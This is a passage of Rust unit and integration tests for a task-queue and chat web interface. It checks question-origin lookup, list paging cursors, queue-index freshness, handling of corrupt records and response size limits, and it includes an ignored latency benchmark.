24257 reference.into(),
24258 node.into(),
24259 crate::reconcile::SEAT.into(),
24260 "Reconcile".into(),
24261 String::new(),
24262 vec![],
24263 );
24264 ui.questions.put(&mut q).unwrap();
24265 questions.push((q, associated, eligible));
24266 }
24267 let mut release = Question::new(
24268 "release-record".into(),
24269 crate::bump::NOTICE_NODE.into(),
24270 "release-watch".into(),
24271 "Release".into(),
24272 String::new(),
24273 vec![],
24274 );
24275 ui.questions.put(&mut release).unwrap();
24276 let watch = crate::release_watch::WatchState {
24277 question: Some(release.id.clone()),
24278 run: Some(previous.runs[0].clone()),
24279 held_task: Some(previous.id.clone()),
24280 ..Default::default()
24281 };
24282 let watch_dir = home.path().join("release-watch");
24283 std::fs::create_dir_all(&watch_dir).unwrap();
24284 let watch_path = watch_dir.join("watch.json");
24285 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24286 for batch in [
24288 Vec::new(),
24289 questions.iter().map(|(q, _, _)| q.clone()).collect(),
24290 ] {
24291 let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
24292 assert!(watches.is_empty());
24293 }
24294 questions.push((release.clone(), true, false));
24295
24296 let views = questions_list(State(ui.clone())).await.unwrap().0;
24297 let origins = question_origins(State(ui.clone())).await.unwrap().0;
24298 for (q, associated, eligible) in &questions {
24299 let view = views.iter().find(|view| view.question.id == q.id).unwrap();
24300 let origin = origins.iter().find(|view| view.id == q.id).unwrap();
24301 let expected = associated.then_some(chat.as_str());
24302 assert_eq!(
24303 view.origin_chat.as_deref(),
24304 expected,
24305 "{} {}",
24306 q.node,
24307 q.run
24308 );
24309 assert_eq!(origin.origin_chat.as_deref(), expected);
24310 assert_eq!(view.origin_chat_closed, *associated);
24311 assert_eq!(origin.origin_chat_closed, *associated);
24312 assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
24313 assert_eq!(origin.can_consult_chat, *eligible);
24314 }
24315 for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
24317 let link = crate::release_watch::WatchState {
24318 run,
24319 held_task,
24320 ..watch.clone()
24321 };
24322 std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
24323 let (tasks, talks, watches) =
24324 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24325 assert_eq!(
24326 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24327 .unwrap()
24328 .id,
24329 chat,
24330 );
24331 assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
24332 }
24333 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24334 let duplicate_path = watch_dir.join("duplicate.json");
24336 std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24337 let (tasks, talks, watches) =
24338 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24339 assert!(
24340 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24341 .is_none()
24342 );
24343 std::fs::remove_file(duplicate_path).unwrap();
24344 let mut unrelated = Task::new(
24346 "other".into(),
24347 String::new(),
24348 PathBuf::from("/repo"),
24349 Source::Human,
24350 );
24351 unrelated.id = "unrelated-task".into();
24352 ui.queue.put(&mut unrelated).unwrap();
24353 let mut conflicting = watch.clone();
24354 conflicting.held_task = Some(unrelated.id);
24355 std::fs::write(
24356 watch_dir.join("conflict.json"),
24357 serde_json::to_vec(&conflicting).unwrap(),
24358 )
24359 .unwrap();
24360 let (tasks, talks, watches) =
24361 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24362 assert!(
24363 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24364 .is_none()
24365 );
24366 std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
24367 std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
24368 for origin in question_origins(State(ui.clone())).await.unwrap().0 {
24369 assert!(origin.origin_chat.is_none());
24370 assert!(!origin.origin_chat_closed);
24371 }
24372 }
24373
24374 #[test]
24375 fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
24376 let home = tempfile::tempdir().unwrap();
24377 let ui = delta_test_ui(home.path());
24378 let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
24379 for i in 0..1000 {
24380 let mut task = Task::new(
24381 "unrelated".into(),
24382 "instruction ".repeat(256),
24383 PathBuf::from("/repo"),
24384 Source::Human,
24385 );
24386 task.id = format!("history-{i:04}");
24387 ui.queue.put(&mut task).unwrap();
24388 let id = seed_talk_at(&ui.talks, &task.id, "open");
24389 let mut talk = ui.talks.get(&id).unwrap();
24390 talk.pending = "history ".repeat(256);
24391 ui.talks.put(&mut talk).unwrap();
24392 }
24393 let mut parent = Task::new(
24394 "parent".into(),
24395 "body".into(),
24396 PathBuf::from("/repo"),
24397 Source::Agent {
24398 run: chat_id.clone(),
24399 node: crate::queue::CHAT_NODE.into(),
24400 },
24401 );
24402 parent.id = "task-parent".into();
24403 parent.runs = vec!["run-parent".into()];
24404 ui.queue.put(&mut parent).unwrap();
24405 let mut child = Task::new(
24406 "child".into(),
24407 "body".into(),
24408 PathBuf::from("/repo"),
24409 Source::Human,
24410 );
24411 child.id = "task-child".into();
24412 child.runs = vec!["run-child".into()];
24413 child.followup = Some(crate::queue::FollowUp {
24414 run: "run-parent".into(),
24415 origin_task: Some(parent.id.clone()),
24416 pr: "https://example.invalid/pr/1".into(),
24417 findings: vec![],
24418 generation: 1,
24419 });
24420 ui.queue.put(&mut child).unwrap();
24421 let mut question = Question::new(
24422 child.id.clone(),
24423 crate::conduct::NODE.into(),
24424 "seat".into(),
24425 "Continue?".into(),
24426 String::new(),
24427 vec![],
24428 );
24429 let (tasks, talks, _watches) =
24430 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24431 assert_eq!(tasks.len(), 2);
24432 assert_eq!(talks.len(), 1);
24433 assert_eq!(
24434 ui.monitor.queue_index.lock().unwrap().reparsed,
24435 0,
24436 "exact ancestry bypasses the index"
24437 );
24438 assert_eq!(
24439 crate::consult::origin_talk(&tasks, &talks, &question)
24440 .unwrap()
24441 .id,
24442 chat_id
24443 );
24444 question.run = "run-child".into();
24445 question.node = "review".into();
24446 for origin_task in [Some(parent.id.clone()), None] {
24447 child.followup.as_mut().unwrap().origin_task = origin_task;
24448 ui.queue.put(&mut child).unwrap();
24449 let (tasks, talks, _watches) =
24450 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24451 let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
24452 let expected =
24453 crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
24454 .unwrap();
24455 assert_eq!(actual.id, expected.id);
24456 assert!(!actual.status.open());
24457 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24458 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24459 let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
24462 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24463 }
24464 child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
24465 ui.queue.put(&mut child).unwrap();
24466 std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
24467 let (tasks, talks, _watches) =
24468 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24469 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24470 child.origin_chat = Some(chat_id.clone());
24471 ui.queue.put(&mut child).unwrap();
24472 let (tasks, talks, _watches) =
24473 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24474 assert_eq!(
24475 crate::consult::origin_talk(&tasks, &talks, &question)
24476 .unwrap()
24477 .id,
24478 chat_id
24479 );
24480 let revision = question_record_revision(&question);
24481 question.abandon("settled elsewhere");
24482 assert_ne!(revision, question_record_revision(&question));
24483 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24484 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
24485 std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
24486 let (tasks, talks, _watches) =
24487 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24488 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
24489 }
24490
24491 #[test]
24492 fn list_cursors_freeze_membership_and_expire_explicitly() {
24493 let home = tempfile::tempdir().unwrap();
24494 let ui = delta_test_ui(home.path());
24495 std::fs::create_dir_all(ui.queue.root()).unwrap();
24496 for i in 0..40 {
24497 std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
24498 }
24499 let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
24500 assert_eq!(first.len(), STORE_PAGE_SIZE);
24501 let cursor = cursor.unwrap();
24502 std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
24503 std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
24504 let (second, _) = page_ids(
24505 &ui,
24506 false,
24507 PageQuery {
24508 before: Some(cursor.clone()),
24509 },
24510 )
24511 .unwrap();
24512 assert_eq!(second[0], "record-0023");
24513 assert!(second.iter().all(|id| !first.contains(id)));
24514 assert!(
24515 page_ids(
24516 &ui,
24517 true,
24518 PageQuery {
24519 before: Some(cursor.clone())
24520 }
24521 )
24522 .is_err()
24523 );
24524 let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
24525 assert_eq!(fresh[0], "record-9999");
24526 ui.monitor.list_walks.lock().unwrap().clear();
24527 assert!(
24528 page_ids(
24529 &ui,
24530 false,
24531 PageQuery {
24532 before: Some(cursor)
24533 }
24534 )
24535 .is_err()
24536 );
24537 }
24538
24539 #[tokio::test]
24540 async fn stats_queue_index_counts_only_fresh_readable_statuses() {
24541 let home = tempfile::tempdir().unwrap();
24542 let ui = delta_test_ui(home.path());
24543 let mut task = Task::new(
24544 "task".into(),
24545 "body".into(),
24546 PathBuf::from("/repo"),
24547 Source::Human,
24548 );
24549 ui.queue.put(&mut task).unwrap();
24550 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24551 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24552 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24553 let expected = parsed + usize::from(!cfg!(unix));
24554 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24555 task.status = crate::queue::TaskStatus::Held;
24556 ui.queue.put(&mut task).unwrap();
24557 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24558 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24559 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
24560 ui.queue.put(&mut task).unwrap();
24561 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24562 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24563 assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
24564 }
24565
24566 #[tokio::test]
24567 async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
24568 let home = tempfile::tempdir().unwrap();
24569 let ui = delta_test_ui(home.path());
24570 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
24571 let before = health(State(ui.clone())).await.unwrap().0;
24572 ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
24573 let after = health(State(ui)).await.unwrap().0;
24574 assert_ne!(before.notifications_rev, after.notifications_rev);
24575 assert_eq!(after.notifications_unread, 1);
24576 }
24577
24578 #[tokio::test]
24579 async fn list_pages_bound_history_and_keep_dependency_evidence() {
24580 let home = tempfile::tempdir().unwrap();
24581 let ui = delta_test_ui(home.path());
24582 let queue = &ui.queue;
24583 let talks = &ui.talks;
24584 for i in 0..1000 {
24585 let id = format!("20261019-{i:06}-page");
24586 let mut task = Task::new(
24587 "task".into(),
24588 "instruction".repeat(100),
24589 PathBuf::from("/repo/magi"),
24590 Source::Human,
24591 );
24592 task.id = id.clone();
24593 if i == 0 {
24594 task.status = crate::queue::TaskStatus::Held;
24595 } else if i == 999 {
24596 task.status = crate::queue::TaskStatus::Blocked;
24597 task.blocked_by = vec!["20261019-000000-page".into()];
24598 }
24599 queue.put(&mut task).unwrap();
24600 seed_talk_at(talks, &id, "open");
24601 }
24602 let page = serde_json::to_value(
24603 queue_page(State(ui.clone()), Query(PageQuery::default()))
24604 .await
24605 .unwrap()
24606 .0,
24607 )
24608 .unwrap();
24609 assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24610 assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
24611 assert!(
24612 !page["rows"][0]["stuck_roots"]
24613 .as_array()
24614 .unwrap()
24615 .is_empty()
24616 );
24617 let cursor = page["next"].as_str().unwrap();
24618 let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
24619 .as_str()
24620 .unwrap();
24621 std::fs::remove_file(queue.path_of(last_id)).unwrap();
24623 let next = serde_json::to_value(
24624 queue_page(
24625 State(ui.clone()),
24626 Query(PageQuery {
24627 before: Some(cursor.into()),
24628 }),
24629 )
24630 .await
24631 .unwrap()
24632 .0,
24633 )
24634 .unwrap();
24635 assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24636 assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
24637 let chats = serde_json::to_value(
24638 talks_page(
24639 State(ui.clone()),
24640 Query(PageQuery::default()),
24641 header::HeaderMap::new(),
24642 )
24643 .await
24644 .unwrap()
24645 .0,
24646 )
24647 .unwrap();
24648 assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24649 assert!(chats["rows"][0].get("pending").is_none());
24650 assert!(chats["rows"][0].get("turn_bodies_md").is_none());
24651 let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
24652 assert_eq!(counts["held"], 1);
24653 assert_eq!(counts["blocked"], 1);
24654 assert_eq!(counts["queued"], 997);
24655 }
24656
24657 #[test]
24658 fn queue_index_observes_external_replacement_deletion_and_corruption() {
24659 let dir = tempfile::tempdir().unwrap();
24660 let ui = delta_test_ui(dir.path());
24661 let mut task = Task::new(
24662 "task".into(),
24663 "body".into(),
24664 PathBuf::from("/repo"),
24665 Source::Human,
24666 );
24667 task.runs = vec!["run-a".into()];
24668 ui.queue.put(&mut task).unwrap();
24669 assert!(ui.find_task_for_run("run-a").unwrap().is_some());
24670 task.runs = vec!["run-b".into()];
24671 let path = ui.queue.path_of(&task.id);
24672 let modified = path.metadata().unwrap().modified().unwrap();
24673 let replacement = path.with_extension("replacement");
24674 let bytes = serde_json::to_vec_pretty(&task).unwrap();
24675 assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
24676 std::fs::write(&replacement, &bytes).unwrap();
24677 std::fs::File::options()
24678 .write(true)
24679 .open(&replacement)
24680 .unwrap()
24681 .set_times(std::fs::FileTimes::new().set_modified(modified))
24682 .unwrap();
24683 std::fs::rename(&replacement, &path).unwrap();
24684 assert!(ui.find_task_for_run("run-a").unwrap().is_none());
24685 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24686 std::fs::write(&path, "broken").unwrap();
24687 assert!(ui.find_task_for_run("run-b").is_err());
24688 std::fs::write(&path, bytes).unwrap();
24689 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24690 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24691 assert!(ui.find_task_for_run("run-b").unwrap().is_none());
24692 }
24693
24694 #[tokio::test]
24695 async fn conversation_core_is_independent_of_unreadable_related_history() {
24696 let home = tempfile::tempdir().unwrap();
24697 let ui = delta_test_ui(home.path());
24698 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24699 std::fs::create_dir_all(ui.queue.root()).unwrap();
24700 std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
24701 let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
24702 .await
24703 .unwrap();
24704 assert_eq!(core.talk.id, id);
24705 assert!(talk_sections(State(ui), Path(id)).await.is_ok());
24706 }
24707
24708 #[tokio::test]
24709 async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
24710 let home = tempfile::tempdir().unwrap();
24711 let ui = delta_test_ui(home.path());
24712 let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
24713 let mut task = Task::new(
24714 "Referenced task".into(),
24715 "Unrelated instruction history".repeat(1024),
24716 home.path().into(),
24717 Source::Human,
24718 );
24719 task.id = "20261019-000000-abcd".into();
24720 ui.queue.put(&mut task).unwrap();
24721 let mut conversation = ui.talks.get(&id).unwrap();
24722 conversation.turns.push(talk::Turn {
24723 sender: Some(talk::Sender::Persona),
24724 who: talk::Who::Agent,
24725 body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
24726 at: conversation.created_at,
24727 attachments: Vec::new(),
24728 usage: None,
24729 breaks: None,
24730 messages: Vec::new(),
24731 posted_by: None,
24732 });
24733 ui.talks.put(&mut conversation).unwrap();
24734
24735 let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
24736 let markdown = serde_json::to_value(&core.turn_bodies_md)
24737 .unwrap()
24738 .to_string();
24739 assert!(markdown.contains("\"strong\""));
24740 assert!(markdown.contains("\"table\""));
24741 assert!(markdown.contains("\"bullet_list\""));
24742 assert!(markdown.contains("\"code_block\""));
24743 assert!(!markdown.contains("\"internal_link\""));
24744 assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
24745 assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
24746 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24747
24748 let references = ui.references.for_talk(home.path(), &conversation);
24751 let mut decorated = core.turn_bodies_md[0].clone();
24752 references.markdown(&mut decorated);
24753 let decorated = serde_json::to_value(decorated).unwrap().to_string();
24754 assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
24755 assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
24756 assert_eq!(
24757 ui.talks.get(&conversation.id).unwrap().turns[0].body,
24758 conversation.turns[0].body
24759 );
24760 }
24761
24762 #[tokio::test]
24763 async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
24764 let home = tempfile::tempdir().unwrap();
24765 let ui = delta_test_ui(home.path());
24766 let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24767 let mut run = RunState::new(
24768 PathBuf::from("/repo"),
24769 "main".into(),
24770 "01234567".into(),
24771 "Useful run".into(),
24772 Config::default(),
24773 );
24774 run.save_under(home.path()).unwrap();
24775 let mut task = Task::new(
24776 "Related".into(),
24777 "body".into(),
24778 PathBuf::from("/repo"),
24779 Source::Agent {
24780 run: talk_id.clone(),
24781 node: "chat".into(),
24782 },
24783 );
24784 task.runs = vec![run.id.clone()];
24785 ui.queue.put(&mut task).unwrap();
24786 std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
24787 assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
24788 assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
24789 assert!(
24790 run_detail(State(ui.clone()), Path(run.id.clone()))
24791 .await
24792 .is_ok()
24793 );
24794 assert!(
24795 talk_sections(State(ui.clone()), Path(talk_id.clone()))
24796 .await
24797 .is_ok()
24798 );
24799 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24801 assert!(ui.find_task_for_run(&run.id).is_err());
24802 assert!(ui.find_tasks_for_talk(&talk_id).is_err());
24803 ui.queue.put(&mut task).unwrap();
24804 assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
24805 }
24806
24807 #[tokio::test]
24808 async fn conversation_sections_omit_large_task_instructions() {
24809 let home = tempfile::tempdir().unwrap();
24810 let ui = delta_test_ui(home.path());
24811 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24812 let mut task = Task::new(
24813 "filed task".into(),
24814 "large instruction ".repeat(65536),
24815 PathBuf::from("/repo"),
24816 Source::Agent {
24817 run: id.clone(),
24818 node: "chat".into(),
24819 },
24820 );
24821 ui.queue.put(&mut task).unwrap();
24822 let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
24823 assert_eq!(sections["tasks"][0]["id"], task.id);
24824 assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
24825 assert!(sections["tasks"][0].get("instruction").is_none());
24826 assert!(serde_json::to_vec(§ions).unwrap().len() < 8192);
24827 }
24828
24829 #[test]
24830 fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
24831 let home = tempfile::tempdir().unwrap();
24832 let talks = Talks::at(home.path().join("talks"));
24833 seed_talk_at(&talks, "20261019-000001-abcd", "open");
24834 seed_talk_at(&talks, "20261019-000002-abcd", "open");
24835 std::fs::write(home.path().join("outside.json"), "{}").unwrap();
24836 assert!(resolve_talk(&talks, "../outside").is_err());
24837 assert!(resolve_talk(&talks, "abcd").is_err());
24838 assert_eq!(
24839 resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
24840 "20261019-000001-abcd"
24841 );
24842 }
24843
24844 include!(concat!(
24845 env!("CARGO_MANIFEST_DIR"),
24846 "/tests/web_latency/baseline.rs"
24847 ));
24848
24849 include!(concat!(
24850 env!("CARGO_MANIFEST_DIR"),
24851 "/tests/web_latency/lists.rs"
24852 ));
24853
24854 #[tokio::test]
24855 #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
24856 async fn web_history_latency_measurement() {
24857 use std::time::Instant;
24858 let home = tempfile::tempdir().unwrap();
24859 let ui = delta_test_ui(home.path());
24860 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24861 let mut template = ui.talks.get(&id).unwrap();
24862 template.turns = serde_json::from_value(serde_json::json!([{
24863 "who": "operator", "body": "Show the accumulated work and its current status.",
24864 "at": Timestamp::now().to_string(),
24865 }]))
24866 .unwrap();
24867 std::fs::write(
24868 ui.talks.path_of(&id),
24869 serde_json::to_vec(&template).unwrap(),
24870 )
24871 .unwrap();
24872 let count = std::env::var("MAGI_BENCH_RECORDS")
24873 .ok()
24874 .and_then(|s| s.parse::<usize>().ok())
24875 .unwrap_or(1000);
24876 for i in 0..count {
24877 template.id = format!("20261019-{i:06}-history");
24878 template.pending = "history ".repeat(2048);
24879 std::fs::write(
24880 ui.talks.path_of(&template.id),
24881 serde_json::to_vec(&template).unwrap(),
24882 )
24883 .unwrap();
24884 let mut task = Task::new(
24885 "old task".into(),
24886 "instruction ".repeat(2048),
24887 PathBuf::from("/repo"),
24888 Source::Human,
24889 );
24890 task.id = format!("20261019-{i:06}-task");
24891 ui.queue.put(&mut task).unwrap();
24892 }
24893 for baseline in [true, false] {
24894 for clients in [1, 4] {
24895 let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
24896 let mut samples = Vec::new();
24897 for _ in 0..12 {
24898 let mut jobs = Vec::new();
24899 for _ in 0..clients {
24900 let ui = ui.clone();
24901 let id = id.clone();
24902 jobs.push(tokio::spawn(async move {
24903 let start = Instant::now();
24904 if baseline {
24905 let response =
24906 baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
24907 let elapsed = start.elapsed().as_secs_f64() * 1000.0;
24908 return (
24909 elapsed,
24910 elapsed,
24911 serde_json::to_vec(&response).unwrap().len(),
24912 );
24913 }
24914 let core = talk_core(State(ui.clone()), Path(id.clone()));
24915 let secondary = talk_sections(State(ui), Path(id));
24916 let (first, total) = tokio::join!(
24917 async {
24918 let value = core.await.unwrap().0;
24919 (
24920 start.elapsed().as_secs_f64() * 1000.0,
24921 serde_json::to_vec(&value).unwrap().len(),
24922 )
24923 },
24924 async {
24925 let value = secondary.await.unwrap().0;
24926 (
24927 start.elapsed().as_secs_f64() * 1000.0,
24928 serde_json::to_vec(&value).unwrap().len(),
24929 )
24930 }
24931 );
24932 (first.0, first.0.max(total.0), first.1 + total.1)
24933 }));
24934 }
24935 for job in jobs {
24936 samples.push(job.await.unwrap());
24937 }
24938 }
24939 let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
24940 let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
24941 first.sort_by(f64::total_cmp);
24942 total.sort_by(f64::total_cmp);
24943 let n = first.len();
24944 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
24945 println!(
24946 "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
24947 first[n / 2],
24948 first[(n * 95 / 100).min(n - 1)],
24949 total[n / 2],
24950 total[(n * 95 / 100).min(n - 1)],
24951 samples[0].2
24952 );
24953 }
24954 }
24955 }
24956
24957 #[test]
24958 fn app_js_contains_progressive_rendering_and_decoupled_reports() {
24959 assert!(!APP_JS.contains("Promise.allSettled([\n getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
24961 assert!(APP_JS.contains("function nextRunRequest(id)"));
24962 assert!(APP_JS.contains("function runShell(id, summary)"));
24963 assert!(APP_JS.contains("function nextTaskRequest(id)"));
24964 assert!(APP_JS.contains("function taskShell(id, summary)"));
24965 assert!(APP_JS.contains("state.detail.reportLoading = false;"));
24966 }
24967}